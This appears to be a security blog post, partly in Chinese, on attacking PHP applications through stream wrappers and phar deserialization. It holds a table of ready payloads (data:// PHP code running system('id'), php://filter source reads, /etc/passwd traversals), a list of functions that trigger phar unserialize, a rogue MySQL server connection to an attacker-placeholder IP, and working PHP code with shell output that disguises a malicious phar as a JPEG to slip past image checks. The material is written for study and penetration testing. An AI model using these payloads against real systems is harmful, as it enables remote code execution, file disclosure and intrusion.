PHP Wrappers and Phar unserialize

PHP Wrappers

For All

wrapper or protocol controllable function allow_url _include vulnerability type remark
file:// - Off LFI / File Manipulation file://host/etc/passwd
glob:// - Off Directory Traversal
php://filter/read include Off File Disclosure php://filter/read=convert.base64-encode/resource=index.php
php://filter/write file_put_contents Off Encoding file_put_contents("php://filter/write=string.rot13/resource=x.txt","content");
php://input include On RCE <?php system('cat x.php');?>
data:// include On RCE data:text/plain,<?php system("id")?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4= OR data://xxx/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=
zip:// include + uploaded file Off RCE
phar:// include + uploaded file Off RCE PHP version >= 5.3

Local and Remote

file:// http:// ftp:// data://

  • RFI
    include($_GET["module"]);
  • SSRF
    file_get_contents($_GET["url"]);
  • XXE
    <! ENTITY xxe SYSTEM "http://example.com">

*allow_url_fopen=true

Input and Filtering

  • LFI -> Source code reading:
    php://filter/convert.base64-encode/resource=index.php

  • File writing
    Similar to source code reading, if we have a file write vulnerability which writes undesirable content (e.g. “<?php exit()” before our controlled value) we can base64 decode it[3].

filter list: https://www.php.net/manual/en/filters.php

Directory Listing

  • glob://

Fhjtzj55Dker-UkroNVoL4dSBj_-

Archive

  • zip://
  • phar://

Compress

  • compress.zlib://
  • compress.bzip2://
    compress.bzip2:// 和 compress.zlib:// 对于没有压缩的文件是直接读取原文的,支持相对路径的,compress.bzip2://www.baidu.com/../../../../../../etc/passwd

Phar more

** Ingredients of all Phar archives, independent of file format**

All Phar archives contain three to four sections:

  • a stub
    • A Phar's stub is a simple PHP file.
      The smallest possible stub follows:
      <?php __HALT_COMPILER();
      A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:
<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

其中需要注意的是,stub的内容除了必须以__HALT_COMPILER();?>结尾之外没有其他限制。

  • a manifest describing the contents
    • The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.
      FrN4wUH29haM7IIt6a0ywaCeiGPq
      其中,倒数第二部分为一段序列化内容。
  • the file contents
  • [optional] a signature for verifying Phar integrity (phar file format only)

http://us3.php.net/manual/en/phar.fileformat.ingredients.php

Phar Attack Methodology

FhkEAG5O7lPvF1rVOm3PPbQ-lXPi
Fk061EQdD7NcSYyCEKNJX0LtijB_

可触发反序列化。

需要注意的是,只能触发__destruct和__wakeup。以及phar文件必须绝对路径访问

wordpress example:https://paper.seebug.org/680/

Phar Unserialize

phar.c#L618,调用了
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {,因此可以构造一个 phar 文件用来反序列化。

这里贴 zsx 师傅的总结。源码分析可参见[参考 6]

fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / include

exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom
hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file

get_meta_tagsget_headers
getimagesize / getimagesizefromstring

finfo_file/finfo_buffer/mime_content_type

基本文件流相关的函数都可以触发反序列化,但除此之外,还可以通过:

# 1
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

# 2
compress.bzip2://phar:///home/sx/test.phar/test.txt

# POSTGRESQL
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

# mysql
LOAD DATA LOCAL INFILE

Mysql Client Attack Chain

但是在 mysql 的利用中限制比较多,不过在 Tsec 2019 Lr 师傅对 mysql 客户端攻击做了总结,可以结合客户端攻击来综合利用。可见:https://paper.seebug.org/998/ 。在 php mysqli 客户端连接数据库时,如果通过 load data 读取数据,同样也可以触发,不过多了 openbasedir 的检测。

# /php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c L43-L52

if (PG(open_basedir)) {
    if (php_check_open_basedir_ex(filename, 0) == -1) {
        >error_msg, "open_basedir restriction in effect. Unable to open file"); 
        info->error_no = CR_UNKNOWN_ERROR;
    } 
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

那么作为测试,指定 rogue mysql 的 ip 即可,rogue mysql 需要指定类似 phar://./phar.phar的文件。

$m = mysqli_init();
$s = mysqli_real_connect($m, ‘{evil_mysql_ip}’, ‘root’, ‘123456’, ‘test’, 3306);
$p = mysqli_query($m, 'select 1;');

Disguise Phar Packages As Images

  • one step
<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
  • and then
xx:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

补全其他信息

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}

Refer

1.DISGUISE PHAR PACKAGES AS IMAGES
2.BlackHat2018
3.php-filter-magic
4.PHP: Supported Protocols and Wrappers
5.Exploit with PHP Protocols / Wrappers
6.Phar与Stream Wrapper造成PHP RCE的深入挖掘
7.Comprehensive analysis of the mysql client attack chain

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus